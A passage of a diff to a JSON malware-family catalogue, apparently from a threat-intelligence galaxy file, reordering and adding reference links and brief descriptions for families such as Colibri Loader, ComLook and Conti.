"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://github.com/sisoma2/malware_analysis/tree/master/turla_carbon", - "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", - "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-129a", - "https://www.govcert.ch/downloads/whitepapers/Report_Ruag-Espionage-Case.pdf", - "https://docs.broadcom.com/doc/waterbug-attack-group", "https://www.youtube.com/watch?v=FttiysUZmDw", - "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + "https://github.com/sisoma2/malware_analysis/tree/master/turla_carbon" ], "synonyms": [ "Carbon" @@ -18890,12 +19790,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.coinminer", - "https://secrary.com/ReversingMalware/CoinMiner/", "https://www.triskelelabs.com/investigating-monero-coin-miner", - "https://blog.malwarebytes.com/threat-analysis/2018/01/a-coin-miner-with-a-heavens-gate/", - "https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html", - "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer/", "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://blog.malwarebytes.com/threat-analysis/2018/01/a-coin-miner-with-a-heavens-gate/", + "https://secrary.com/ReversingMalware/CoinMiner/", + "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer/", + "https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html", "https://blog.malwarebytes.com/threat-analysis/2018/01/a-coin-miner-with-a-heavens-gate/amp/" ], "synonyms": [], @@ -18922,8 +19822,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.coldlock", - "https://www.trendmicro.com/en_us/research/20/i/u-s--justice-department-charges-apt41-hackers-over-global-cyberattacks.html", - "https://medium.com/cycraft/china-linked-threat-group-targets-taiwan-critical-infrastructure-smokescreen-ransomware-c2a155aa53d5" + "https://medium.com/cycraft/china-linked-threat-group-targets-taiwan-critical-infrastructure-smokescreen-ransomware-c2a155aa53d5", + "https://www.trendmicro.com/en_us/research/20/i/u-s--justice-department-charges-apt41-hackers-over-global-cyberattacks.html" ], "synonyms": [], "type": [] @@ -18936,11 +19836,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.coldseal", - "http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/return-of-fake-ups-cannot-deliver-malspam-with-an-updated-nemucod-ransomware-and-kovter-payload/", - "https://web.archive.org/web/20190331091056/https://myonlinesecurity.co.uk/fake-cdc-flu-pandemic-warning-delivers-gandcrab-5-2-ransomware/", + "https://www.xylibox.com/2012/01/coldeal-situation-is-under-control.html", "https://www.youtube.com/watch?v=242Tn0IL2jE", "https://www.xylibox.com/2012/01/cracking-coldeal-541-fwb.html", - "https://www.xylibox.com/2012/01/coldeal-situation-is-under-control.html" + "https://web.archive.org/web/20190331091056/https://myonlinesecurity.co.uk/fake-cdc-flu-pandemic-warning-delivers-gandcrab-5-2-ransomware/", + "http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/return-of-fake-ups-cannot-deliver-malspam-with-an-updated-nemucod-ransomware-and-kovter-payload/" ], "synonyms": [ "ColdSeal" @@ -18955,9 +19855,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.coldstealer", + "https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/", "https://asec.ahnlab.com/ko/31703/", - "https://asec.ahnlab.com/en/32090/", - "https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/" + "https://asec.ahnlab.com/en/32090/" ], "synonyms": [], "type": [] @@ -18966,16 +19866,16 @@ "value": "ColdStealer" }, { - "description": "", + "description": "According to cloudsek, Colibri Loader is a form of malware designed to facilitate the installation of additional malware types on an already compromised system. This loader employs various techniques to evade detection, such as excluding the Import Address Table (IAT) and utilizing encrypted strings to complicate analysis. Similar to other loader malware, Colibri can be utilized to deploy information-stealing malware, potentially leading to significant loss of sensitive data. As a result, users should exercise caution when encountering unfamiliar files on their systems.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.colibri", "https://github.com/Casperinous/colibri_loader", - "https://cloudsek.com/in-depth-technical-analysis-of-colibri-loader-malware/", "https://fr3d.hk/blog/colibri-loader-back-to-basics", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0919.pdf", + "https://www.bitsight.com/blog/unpacking-colibri-loader-russian-apt-linked-campaign", "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", - "https://www.bitsight.com/blog/unpacking-colibri-loader-russian-apt-linked-campaign" + "https://cloudsek.com/in-depth-technical-analysis-of-colibri-loader-malware/", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0919.pdf" ], "synonyms": [], "type": [] @@ -18983,13 +19883,26 @@ "uuid": "09926538-a7a0-413b-bc7d-4b20a8f4b515", "value": "Colibri Loader" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.collection_rat", + "https://blog.talosintelligence.com/lazarus-collectionrat/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "6c6570f3-b407-458f-bb83-647c0b1f5dd9", + "value": "Collection RAT" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.collectorgoomba", - "https://blog.bushidotoken.net/2022/11/detecting-and-fingerprinting.html", - "https://www.vmray.com/cyber-security-blog/cutting-off-command-and-control-infrastructure-collectorgoomba-threat-bulletin/" + "https://www.vmray.com/cyber-security-blog/cutting-off-command-and-control-infrastructure-collectorgoomba-threat-bulletin/", + "https://blog.bushidotoken.net/2022/11/detecting-and-fingerprinting.html" ], "synonyms": [ "Collector Stealer" @@ -19005,8 +19918,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.colony", "https://twitter.com/anyrun_app/status/976385355384590337", - "https://pastebin.com/GtjBXDmz", - "https://secrary.com/ReversingMalware/Colony_Bandios/" + "https://secrary.com/ReversingMalware/Colony_Bandios/", + "https://pastebin.com/GtjBXDmz" ], "synonyms": [ "Bandios", @@ -19048,11 +19961,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.comebacker", - "https://norfolkinfosec.com/dprk-targeting-researchers-ii-sys-payload-and-registry-hunting/", - "https://www.anquanke.com/post/id/230161", "https://www.microsoft.com/security/blog/2021/01/28/zinc-attacks-against-security-researchers/", + "http://blog.nsfocus.net/stumbzarus-apt-lazarus/", "https://norfolkinfosec.com/dprk-malware-targeting-security-researchers/", - "https://www.comae.com/posts/pandorabox-north-koreans-target-security-researchers/" + "https://www.anquanke.com/post/id/230161", + "https://norfolkinfosec.com/dprk-targeting-researchers-ii-sys-payload-and-registry-hunting/", + "https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/", + "https://www.comae.com/posts/pandorabox-north-koreans-target-security-researchers/", + "https://cn.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.102_ENG%20(4).pdf" ], "synonyms": [], "type": [] @@ -19074,12 +19990,12 @@ "value": "Comfoo" }, { - "description": "", + "description": "ComLook is a malicious plugin for the mail client \"The Bat!\", written in C++ and compiled with MSVC 10.0. It implements malicious commands like PutFile, GetFile, SetConfig, GetConfig, and Command. It contains hard-coded email addresses and other information, indicating a target in Azerbaijan. It was first uploaded to VirusTotal on January 12, 2022, and is associated with the APT group Turla. It appears to be a targeted deployment.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.comlook", - "https://www.msreverseengineering.com/blog/2022/1/25/an-exhaustively-analyzed-idb-for-comlook", - "https://twitter.com/ClearskySec/status/1484211242474561540" + "https://twitter.com/ClearskySec/status/1484211242474561540", + "https://www.msreverseengineering.com/blog/2022/1/25/an-exhaustively-analyzed-idb-for-comlook" ], "synonyms": [], "type": [] @@ -19092,6 +20008,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.common_magic", + "https://securelist.com/cloudwizard-apt/109722/", "https://securelist.com/bad-magic-apt/109087/?s=31" ], "synonyms": [], @@ -19119,11 +20036,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.compfun", + "https://securelist.com/compfun-successor-reductor/93633/", "https://securelist.com/it-threat-evolution-q2-2020/98230", "https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence", "https://securelist.com/apt-trends-report-q2-2019/91897/", - "https://securelist.com/compfun-http-status-based-trojan/96874/", - "https://securelist.com/compfun-successor-reductor/93633/" + "https://securelist.com/compfun-http-status-based-trojan/96874/" ], "synonyms": [ "Reductor RAT" @@ -19138,8 +20055,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.computrace", - "https://www.lastline.com/labsblog/apt28-rollercoaster-the-lowdown-on-hijacked-lojack/", "https://bartblaze.blogspot.de/2014/11/thoughts-on-absolute-computrace.html", + "https://www.lastline.com/labsblog/apt28-rollercoaster-the-lowdown-on-hijacked-lojack/", "https://asert.arbornetworks.com/lojack-becomes-a-double-agent/", "https://www.secureworks.com/research/threat-profiles/iron-twilight" ], @@ -19169,8 +20086,8 @@ "meta": { "refs": [ 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"https://securelist.com/luna-black-basta-ransomware/106950", - "https://marcoramilli.com/2021/11/07/conti-ransomware-cheat-sheet/", - "https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-2", - "https://medium.com/@arnozobec/analyzing-conti-leaks-without-speaking-russian-only-methodology-f5aecc594d1b", - "https://us-cert.cisa.gov/ncas/alerts/aa21-265a", - "https://www.esentire.com/blog/analysis-of-leaked-conti-intrusion-procedures-by-esentires-threat-response-unit-tru", - "https://www.advintel.io/post/24-hours-from-log4shell-to-local-admin-deep-dive-into-conti-gang-attack-on-fortune-500-dfir", - "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", - "https://krebsonsecurity.com/2021/10/conti-ransom-gang-starts-selling-access-to-victims/", - "https://research.nccgroup.com/2022/04/29/adventures-in-the-land-of-bumblebee-a-new-malicious-loader/", - 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"https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships", - "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://cocomelonc.github.io/investigation/2022/03/27/malw-inv-conti-1.html", - "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", - "https://cocomelonc.github.io/tutorial/2022/04/02/malware-injection-18.html", - "https://www.ironnet.com/blog/ransomware-graphic-blog", - "https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/", - "https://thedfirreport.com/2021/09/13/bazarloader-to-conti-ransomware-in-32-hours/", - "https://securityaffairs.com/141666/cyber-crime/lockbit-green-ransomware-variant.html", - "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", - "https://www.trmlabs.com/post/analysis-corroborates-suspected-ties-between-conti-and-ryuk-ransomware-groups-and-wizard-spider", - "https://github.com/whichbuffer/Conti-Ransomware-IOC", - "https://arcticwolf.com/resources/blog/karakurt-web", - "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://nakedsecurity.sophos.com/2021/08/06/conti-ransomware-affiliate-goes-rogue-leaks-company-data/", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-group-targets-esxi-hypervisors-with-its-linux-variant.html", - "https://www.ncsc.gov.ie/pdfs/HSE_Conti_140521_UPDATE.pdf", - "https://www.cynet.com/attack-techniques-hands-on/shelob-moonlight-spinning-a-larger-web/", - "https://documents.trendmicro.com/assets/pdf/datasheet-ransomware-in-Q1-2022.pdf", - "https://www.connectwise.com/resources/conti-profile", - "https://unit42.paloaltonetworks.com/conti-ransomware-gang/", - "https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/", - "http://chuongdong.com/reverse%20engineering/2020/12/15/ContiRansomware/", - "https://therecord.media/conti-leaks-the-panama-papers-of-ransomware/", - "https://intel471.com/blog/conti-leaks-cybercrime-fire-team", - "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", - "https://news.sophos.com/en-us/2021/02/16/conti-ransomware-evasive-by-nature/", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/", - "https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-1", - "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://news.sophos.com/en-us/2021/09/03/conti-affiliates-use-proxyshell-exchange-exploit-in-ransomware-attacks/", - "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://yoroi.company/research/conti-ransomware-source-code-a-well-designed-cots-ransomware/", - "https://intel471.com/blog/conti-emotet-ransomware-conti-leaks", - "https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx", - "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", - "https://www.bleepingcomputer.com/news/security/taiwanese-apple-and-tesla-contractor-hit-by-conti-ransomware/", - "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", - "https://blog.talosintelligence.com/2021/09/Conti-leak-translation.html", - "https://cybersecurity.att.com/blogs/security-essentials/stories-from-the-soc-powershell-proxyshell-conti-ttps-oh-my", - "https://areteir.com/wp-content/uploads/2020/08/Arete_Insight_Is-Conti-the-new-Ryuk_August2020.pdf", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://securelist.com/modern-ransomware-groups-ttps/106824/", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.advanced-intel.com/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent", - "https://www.bankinfosecurity.com/cybercrime-moves-conti-ransomware-absorbs-trickbot-malware-a-18573", - "https://www.cybereason.com/blog/threat-analysis-report-from-shatak-emails-to-the-conti-ransomware", - "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", - "https://www.secureworks.com/blog/gold-ulrick-continues-conti-operations-despite-public-disclosures", - "https://www.ic3.gov/Media/News/2021/210521.pdf", - "https://damonmccoy.com/papers/Ransomware_eCrime22.pdf", - "https://news.sophos.com/en-us/2021/02/16/what-to-expect-when-youve-been-hit-with-conti-ransomware/", - "https://arcticwolf.com/resources/blog/conti-ransomware-leak-analyzed", - "https://medium.com/@whickey000/how-i-cracked-conti-ransomware-groups-leaked-source-code-zip-file-e15d54663a8", - "https://www.bleepingcomputer.com/news/security/hackers-use-contis-leaked-ransomware-to-attack-russian-companies/", - "https://cocomelonc.github.io/malware/2023/02/10/malware-analysis-8.html", - "https://assets.sentinelone.com/ransomware-enterprise/conti-ransomware-unpacked", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", - "https://news.sophos.com/en-us/2022/02/28/conti-and-karma-actors-attack-healthcare-provider-at-same-time-through-proxyshell-exploits/?cmp=30728", - "https://www.darktrace.com/en/blog/the-double-extortion-business-conti-ransomware-gang-finds-new-avenues-of-negotiation/", - "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", - "https://redcanary.com/blog/intelligence-insights-november-2021/", - "https://therecord.media/conti-ransomware-gang-chats-leaked-by-pro-ukraine-member/", - "https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/", - "https://www.bleepingcomputer.com/news/security/conti-ransomware-source-code-leaked-by-ukrainian-researcher/", - "https://www.bleepingcomputer.com/news/security/conti-ransomwares-internal-chats-leaked-after-siding-with-russia/", - "https://www.youtube.com/watch?v=cYx7sQRbjGA", - "https://thedfirreport.com/2021/05/12/conti-ransomware/", - "https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/", - "https://www.hse.ie/eng/services/publications/conti-cyber-attack-on-the-hse-full-report.pdf", - "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", - "https://www.threatstop.com/blog/conti-ransomware-source-code-leaked", - "https://blogs.vmware.com/security/2022/09/threat-report-illuminating-volume-shadow-deletion.html", - "https://www.prevailion.com/what-wicked-webs-we-unweave/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", - "https://www.youtube.com/watch?v=hmaWy9QIC7c", - "https://0xthreatintel.medium.com/reversing-conti-ransomware-bfce15019e74", - "https://threatpost.com/affiliate-leaks-conti-ransomware-playbook/168442/", - "https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-one", - "https://threatpost.com/conti-ransomware-v-3-including-decryptor-leaked/179006/", - "https://blog.talosintelligence.com/2022/05/conti-and-hive-ransomware-operations.html", - "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", - "https://cyware.com/news/ransomware-becomes-deadlier-conti-makes-the-most-money-39e17bae/", - "https://news.sophos.com/en-us/2022/02/22/cyberthreats-during-russian-ukrainian-tensions-what-can-we-learn-from-history-to-be-prepared/", - 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- "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", - "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", - "https://intel471.com/blog/conti-vs-monti-a-reinvention-or-just-a-simple-rebranding", - "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", - "https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", - "https://intel471.com/blog/shipping-companies-ransomware-credentials", - "https://research.nccgroup.com/2022/03/31/conti-nuation-methods-and-techniques-observed-in-operations-post-the-leaks/", - "https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/", - "https://www.advintel.io/post/hydra-with-three-heads-blackbyte-the-future-of-ransomware-subsidiary-groups", - "https://www.truesec.com/hub/blog/proxyshell-qbot-and-conti-ransomware-combined-in-a-series-of-cyber-attacks", - "https://cluster25.io/2022/03/02/contis-source-code-deep-dive-into/", - "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", - "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", - "https://github.com/TheParmak/conti-leaks-englished", - "https://www.cyberark.com/resources/threat-research-blog/conti-group-leaked", - "https://twitter.com/AltShiftPrtScn/status/1417849181012647938", - "https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again", - "https://www.advintel.io/post/backup-removal-solutions-from-conti-ransomware-with-love", - "https://www.youtube.com/watch?v=uORuVVQzZ0A", - "https://www.bleepingcomputer.com/news/security/conti-ransomware-gang-takes-over-trickbot-malware-operation/", - "https://www.elliptic.co/blog/conti-ransomware-nets-at-least-25.5-million-in-four-months", - "https://www.mbsd.jp/2022/03/08/assets/images/MBSD_Summary_of_ContiLeaks_Rev3.pdf", - "https://www.zscaler.com/blogs/security-research/conti-ransomware-attacks-persist-updated-version-despite-leaks", - "https://twitter.com/TheDFIRReport/status/1498642512935800833", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-by-the-numbers/lockbit-conti-and-blackcat-lead-pack-amid-rise-in-active-raas-and-extortion-groups-ransomware-in-q1-2022", - "https://securityandtechnology.org/wp-content/uploads/2021/04/IST-Ransomware-Task-Force_Final_Report.pdf", - "https://www.redhotcyber.com/post/il-ransomware-conti-si-schiera-a-favore-della-russia", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", + "https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships", + "https://www.bankinfosecurity.com/cybercrime-moves-conti-ransomware-absorbs-trickbot-malware-a-18573", + "https://thedfirreport.com/2021/05/12/conti-ransomware/", + "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", + "https://cocomelonc.github.io/tutorial/2022/04/02/malware-injection-18.html", + "https://github.com/whichbuffer/Conti-Ransomware-IOC", + "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", "https://www.mbsd.jp/research/20210413/conti-ransomware/", - "https://github.com/cdong1012/ContiUnpacker", - "https://thehackernews.com/2022/05/malware-analysis-trickbot.html", - "https://twitter.com/AltShiftPrtScn/status/1350755169965924352", + "https://nakedsecurity.sophos.com/2021/08/06/conti-ransomware-affiliate-goes-rogue-leaks-company-data/", + "https://www.advanced-intel.com/post/hunting-for-corporate-insurance-policies-indicators-of-ransom-exfiltrations", + "https://www.advanced-intel.com/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", "https://thedfirreport.com/2021/12/13/diavol-ransomware/", - "https://twitter.com/AltShiftPrtScn/status/1423188974298861571", - "https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", + "https://www.threatstop.com/blog/conti-ransomware-source-code-leaked", + "https://cybersecurity.att.com/blogs/security-essentials/stories-from-the-soc-powershell-proxyshell-conti-ttps-oh-my", + "https://www.bleepingcomputer.com/news/security/angry-conti-ransomware-affiliate-leaks-gangs-attack-playbook/", + "https://www.eldiario.es/tecnologia/capos-cibercrimen-avisan-contratacaran-si-hackea-rusia_1_8795458.html", + "https://research.nccgroup.com/2022/04/29/adventures-in-the-land-of-bumblebee-a-new-malicious-loader/", + "https://twitter.com/AltShiftPrtScn/status/1350755169965924352", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", + "https://www.advintel.io/post/ransomware-advisory-log4shell-exploitation-for-initial-access-lateral-movement", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf?1651576098", + "https://www.redhotcyber.com/post/il-ransomware-conti-si-schiera-a-favore-della-russia", + "https://intel471.com/blog/shipping-companies-ransomware-credentials", + "https://securityaffairs.com/141666/cyber-crime/lockbit-green-ransomware-variant.html", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", + "https://www.bleepingcomputer.com/news/security/ryuk-successor-conti-ransomware-releases-data-leak-site/", + "https://www.cyberscoop.com/ransomware-gang-conti-bounced-back/", + "https://www.darktrace.com/en/blog/the-double-extortion-business-conti-ransomware-gang-finds-new-avenues-of-negotiation/", + "https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/", + "https://www.ic3.gov/Media/News/2021/210521.pdf", + "https://intel471.com/blog/conti-emotet-ransomware-conti-leaks", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-sound-of-malware.html", + "https://www.truesec.com/hub/blog/proxyshell-qbot-and-conti-ransomware-combined-in-a-series-of-cyber-attacks", + "https://www.bleepingcomputer.com/news/security/hhs-conti-ransomware-encrypted-80-percent-of-irelands-hse-it-systems/", + "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", "https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-two/", "https://share.vx-underground.org/Conti/", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://news.sophos.com/en-us/2021/09/03/conti-affiliates-use-proxyshell-exchange-exploit-in-ransomware-attacks/", + "https://documents.trendmicro.com/assets/pdf/datasheet-ransomware-in-Q1-2022.pdf", "https://www.prodaft.com/m/reports/WizardSpider_TLPWHITE_v.1.4.pdf", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://securityaffairs.co/wordpress/128190/cyber-crime/conti-ransomware-takes-over-trickbot.html", - "https://www.advanced-intel.com/post/hunting-for-corporate-insurance-policies-indicators-of-ransom-exfiltrations", - "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://therecord.media/disgruntled-ransomware-affiliate-leaks-the-conti-gangs-technical-manuals/", - "https://blogs.blackberry.com/en/2022/09/the-curious-case-of-monti-ransomware-a-real-world-doppelganger", - "https://www.bleepingcomputer.com/news/security/ryuk-successor-conti-ransomware-releases-data-leak-site/", + "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/", + "https://medium.com/@whickey000/how-i-cracked-conti-ransomware-groups-leaked-source-code-zip-file-e15d54663a8", + "https://cluster25.io/2022/03/02/contis-source-code-deep-dive-into/", + "https://twitter.com/AltShiftPrtScn/status/1417849181012647938", + "https://www.advintel.io/post/24-hours-from-log4shell-to-local-admin-deep-dive-into-conti-gang-attack-on-fortune-500-dfir", + "http://chuongdong.com/reverse%20engineering/2020/12/15/ContiRansomware/", + "https://www.elliptic.co/blog/conti-ransomware-nets-at-least-25.5-million-in-four-months", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/", + "https://www.advintel.io/post/backup-removal-solutions-from-conti-ransomware-with-love", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", + "https://us-cert.cisa.gov/ncas/alerts/aa21-265a", + "https://cocomelonc.github.io/malware/2023/02/10/malware-analysis-8.html", + "https://cocomelonc.github.io/investigation/2022/03/27/malw-inv-conti-1.html", + "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", + "https://news.sophos.com/en-us/2022/02/28/conti-and-karma-actors-attack-healthcare-provider-at-same-time-through-proxyshell-exploits/?cmp=30728", + "https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again", + "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", "https://medium.com/cycraft/the-road-to-ransomware-resilience-c1ca37036efd", + "https://thehackernews.com/2022/05/malware-analysis-trickbot.html", + "https://thedfirreport.com/2021/09/13/bazarloader-to-conti-ransomware-in-32-hours/", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.cybereason.com/blog/threat-analysis-report-from-shatak-emails-to-the-conti-ransomware", + "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", + "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", + "https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles", + "https://blogs.blackberry.com/en/2022/09/the-curious-case-of-monti-ransomware-a-real-world-doppelganger", + "https://krebsonsecurity.com/2021/10/conti-ransom-gang-starts-selling-access-to-victims/", + "https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-one", + "https://threatpost.com/conti-ransomware-v-3-including-decryptor-leaked/179006/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.esentire.com/blog/analysis-of-leaked-conti-intrusion-procedures-by-esentires-threat-response-unit-tru", + "https://www.bleepingcomputer.com/news/security/conti-ransomwares-internal-chats-leaked-after-siding-with-russia/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://securelist.com/luna-black-basta-ransomware/106950", + "https://www.secureworks.com/blog/gold-ulrick-continues-conti-operations-despite-public-disclosures", + "https://www.first.org/resources/papers/conf2023/FIRSTCON23-TLPCLEAR-Staubmann-Busy-Bees.pptx", + "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti", + 